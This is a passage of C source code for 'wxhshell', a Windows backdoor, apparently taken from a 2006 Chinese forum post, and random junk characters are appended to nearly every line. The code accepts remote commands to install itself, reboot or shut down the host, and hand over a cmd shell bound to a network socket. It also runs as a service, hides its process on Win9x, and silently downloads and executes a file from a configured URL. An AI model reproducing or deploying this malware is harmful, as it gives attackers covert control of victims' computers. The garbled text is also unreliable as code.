      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GM6, LzH  
    break; ELCNf   
  } J 6KHc^,7  
  // 安装 *DPX4 P  
  case 'i': { <IZt]P  
    if(Install()) 7.h{"xOx{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vN{@c(=g  
    else n)kbQ]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bu(51wU8  
    break; U=G49 ~E  
    } qi4P(s-i  
  // 卸载 Mh7m2\fLbd  
  case 'r': { yiZtG#6K{  
    if(Uninstall()) m;dwt1'Zw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >R F|Q  
    else 2$Mnwxfk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >$ZG=&  
    break; oN1D&*  
    } Wi&v?nm  
  // 显示 wxhshell 所在路径 }Z"iW/?"  
  case 'p': { -$Z1X_~;)<  
    char svExeFile[MAX_PATH]; !rUP&DA  
    strcpy(svExeFile,"\n\r"); l53i {o  
      strcat(svExeFile,ExeFile); >_?i)%+)  
        send(wsh,svExeFile,strlen(svExeFile),0); }Ja-0v)Wf  
    break; 4`,(*igEv  
    } Rml'{S  
  // 重启 U>PZ3  
  case 'b': { kG>jb!e@(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;MS.ag#  
    if(Boot(REBOOT)) ZQfxlzj+X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IIR+qJ__|  
    else { +Y 7M7  
    closesocket(wsh); KYpS4&Xh  
    ExitThread(0); gI^&z  
    } NpH8=H9  
    break; 6|jZv~rS$  
    } aRMlE*yW  
  // 关机 w<9rTHG8,  
  case 'd': { h]oUY.Pf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E'LI0fr  
    if(Boot(SHUTDOWN)) 9z#8K zXg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DU!T#H7  
    else { '3l TI  
    closesocket(wsh); B#V""[Y9  
    ExitThread(0); fB$a )~  
    } E`fG9:6l]  
    break; )7 p" -  
    } =?OU^ u`C  
  // 获取shell _N`.1Dl%Q  
  case 's': { ?Y~t{5NJR  
    CmdShell(wsh); DhM=q  
    closesocket(wsh); $@z77td3  
    ExitThread(0); U?0|2hR~  
    break; H+[?{+"#@l  
  } 1 (<n^\J(  
  // 退出 ztO)~uL  
  case 'x': { XJ<"S p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); & &}_[{fc  
    CloseIt(wsh); 6(8 F4[D  
    break; h[remR# 3\  
    } PF~@@j  
  // 离开 kk=n&M  
  case 'q': { ZsP^<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g Q\.|'%  
    closesocket(wsh); GeR#B;{  
    WSACleanup(); ?Q]&;5o  
    exit(1); GY$Rkg6d  
    break; .RxTz9(  
        } ,t`V^(PEq  
  } vvxxwZa=O  
  } Nn05me"X  
^EUR#~b5iy  
  // 提示信息 MLdwf}[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2b$>1O&2  
} V8n { k'  
  } Nh!`"B2B  
X?_rD'3  
  return; WzzA:X  
}  ew1L+  
..`c# O&  
// shell模块句柄 1ubu~6  
int CmdShell(SOCKET sock) hV7EjQp  
{ ,j%\3g`  
STARTUPINFO si; QEJu.o  
ZeroMemory(&si,sizeof(si)); oZ%uq78#[%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &hWELZe0vv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NljpkeX'  
PROCESS_INFORMATION ProcessInfo; (ks>F=vk*  
char cmdline[]="cmd"; I*-\u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]KFh 1  
  return 0; [5P-K{Ko  
} hY4#4A`I  
#&|"t< }  
// 自身启动模式 H:(B^uH  
int StartFromService(void) M1Q&)am  
{ (@^9oN~}  
typedef struct 45JL{YRN  
{ *Dg@fxCQ  
  DWORD ExitStatus; + f6LG 0q  
  DWORD PebBaseAddress; 9~UR(Ts}l  
  DWORD AffinityMask; hCQOwk#  
  DWORD BasePriority; pf8'xdExH)  
  ULONG UniqueProcessId; [E9iuym  
  ULONG InheritedFromUniqueProcessId; B /;(#{U;  
}   PROCESS_BASIC_INFORMATION; v^&HZk=(  
tiZ H;t';<  
PROCNTQSIP NtQueryInformationProcess; =IL\T8y09  
1GN^ui a7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [Hx}#Kds  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !RKuEg4hQ  
3/RwCtc  
  HANDLE             hProcess; gT8(LDJ  
  PROCESS_BASIC_INFORMATION pbi; )q<VZ|V  
F8w7N$/V",  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {7e(0QK  
  if(NULL == hInst ) return 0; FS"Ja`>j~  
5p.rd0T]l3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )?72 +X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eCI'<^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t!\aDkxo %  
w[z=x  
  if (!NtQueryInformationProcess) return 0; C@qWour  
EE'2<"M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #4AU&UM+i  
  if(!hProcess) return 0; :j]6vp 6  
,ojJ;w5D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ] G["TX,  
5RLO}Vn]  
  CloseHandle(hProcess); nYtkTP!J6  
[4yHXZxza  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Be{@ L  
if(hProcess==NULL) return 0; ' #K@%P  
?^|[Yzk  
HMODULE hMod; *9n[ #2sM<  
char procName[255]; C@-Hm  
unsigned long cbNeeded; 8>x5|  
[],[LkS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'ON/WKJr|W  
le5@WG/x  
  CloseHandle(hProcess); URVW5c  
5j`sJvq  
if(strstr(procName,"services")) return 1; // 以服务启动 8$-MUF,  
6Jgl"Jw8  
  return 0; // 注册表启动 rRevyTs  
} 8J,^O04<  
`O7vPE  
// 主模块 t3$cX_  
int StartWxhshell(LPSTR lpCmdLine) 4<s;xSCL  
{ l i<9nMZ<  
  SOCKET wsl; 0@_8JB ?E  
BOOL val=TRUE; $l ,U)  
  int port=0; GIlaJ!/  
  struct sockaddr_in door; z"6o|]9I  
\0|x<~#j'  
  if(wscfg.ws_autoins) Install(); HP*)^`6X  
w (HVC  
port=atoi(lpCmdLine); 54z`KX 73  
i<S \x  
if(port<=0) port=wscfg.ws_port; -(57C*#ap  
g;Fd m5Q  
  WSADATA data; /,:cbpHsu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /%m?D o  
H'S~GP4D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m& AbH&;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Cnpl0rV~5  
  door.sin_family = AF_INET; {ZUk!o>m@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +Vg(2Xt  
  door.sin_port = htons(port); . x$V~t  
E `N`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k8E2?kbF  
closesocket(wsl); v_5O*F7)  
return 1; )-+tN>Bb  
} 7'+`vt#E  
kYS#P(1  
  if(listen(wsl,2) == INVALID_SOCKET) { h6~xz0,u  
closesocket(wsl); =)y$&Ydj  
return 1; g,E)F90  
} v0r:qku  
  Wxhshell(wsl); 70avr)OM  
  WSACleanup(); Cdl"TZ<  
jGLmgJG-P  
return 0; 6 w!qZ4$  
="T}mc  
} -)J*(7F(6^  
tDAX pi(  
// 以NT服务方式启动 .dzw5R&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5@.8O VPz  
{ nILUo2e~  
DWORD   status = 0; 6+sz4  
  DWORD   specificError = 0xfffffff; |vi=h2*  
?z`yNx6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v*excl~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4-O.i\1q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hpOY&7QUTD  
  serviceStatus.dwWin32ExitCode     = 0; G} [$M"}  
  serviceStatus.dwServiceSpecificExitCode = 0; G]l/L\{  
  serviceStatus.dwCheckPoint       = 0; |x.[*'X@  
  serviceStatus.dwWaitHint       = 0; d >M0:  
XPYf1H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lN.&46 e  
  if (hServiceStatusHandle==0) return; W*H%\Y:N  
6jr}l  
status = GetLastError(); O0^Y1l  
  if (status!=NO_ERROR) 1|*%  
{ *mWS+xcU(L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !OV+2suu1  
    serviceStatus.dwCheckPoint       = 0; fpNq  
    serviceStatus.dwWaitHint       = 0; 2wU,k(F_  
    serviceStatus.dwWin32ExitCode     = status; S@\&^1;4Hv  
    serviceStatus.dwServiceSpecificExitCode = specificError; un6W|{4]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4xx?x/q  
    return; 6wiuNGZb  
  } fNr*\=$  
bAY >o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k="w EZ;Q  
  serviceStatus.dwCheckPoint       = 0; L#vk77  
  serviceStatus.dwWaitHint       = 0; W[!bF'- 10  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n\JSt}A  
} '&/Y}]  
8QFRX'i  
// 处理NT服务事件,比如:启动、停止 5;{*mJ:F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Wi)N/^;n  
{ !H^R_GC  
switch(fdwControl) Wbmqf s  
{ PClwGO8'&  
case SERVICE_CONTROL_STOP: f$nZogaQ  
  serviceStatus.dwWin32ExitCode = 0; Z _<Wr7D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n-9X<t|*?a  
  serviceStatus.dwCheckPoint   = 0; DKQQZ` PF  
  serviceStatus.dwWaitHint     = 0; c1%ki%J#  
  { <Dnv=)Rq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #z}IW(u<  
  } d#,   
  return; TGPdi5Eq  
case SERVICE_CONTROL_PAUSE: iaJN~m\ M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _#UhXXD  
  break; z<"\I60Fe  
case SERVICE_CONTROL_CONTINUE: wW/wvC-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9 LEUj  
  break; $<wU>X  
case SERVICE_CONTROL_INTERROGATE: K0^+2lx  
  break; >*w(YB]/$V  
}; d cht8nX7~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5PHAd4=bJ  
} wd:SBU~f5*  
vP<8 ,XG  
// 标准应用程序主函数 \]/ 6>yT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !ImtnU}  
{ G_p13{"IM  
e3&.RrA  
// 获取操作系统版本 ZONe}tv:  
OsIsNt=GetOsVer(); VN4H+9E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); & V/t0  
vw q Y;7  
  // 从命令行安装 5|[\Se#  
  if(strpbrk(lpCmdLine,"iI")) Install(); BYDOTy/%nJ  
Se5jxV  
  // 下载执行文件 LTY(6we-  
if(wscfg.ws_downexe) { S1$&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V,9UOC,Gn  
  WinExec(wscfg.ws_filenam,SW_HIDE); DOo34l6#  
} Yv;18j*<  
k3"Y!Uha:  
if(!OsIsNt) { _{gRCR)  
// 如果时win9x,隐藏进程并且设置为注册表启动 [=xO>  
HideProc(); !U+XIr  
StartWxhshell(lpCmdLine); {,m W7  
} l3/?,xn  
else 9s6d+HhM  
  if(StartFromService()) Oz,/y3_  
  // 以服务方式启动 a_(vpD^  
  StartServiceCtrlDispatcher(DispatchTable); ;lb@o,R :  
else cbA90 8@s  
  // 普通方式启动 U@?Ro enn  
  StartWxhshell(lpCmdLine); D(S^g+rd  
*$ 7c||J7  
return 0; B8G1 #V_jK  
}
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只看该作者 1 发表于: 2006-10-10
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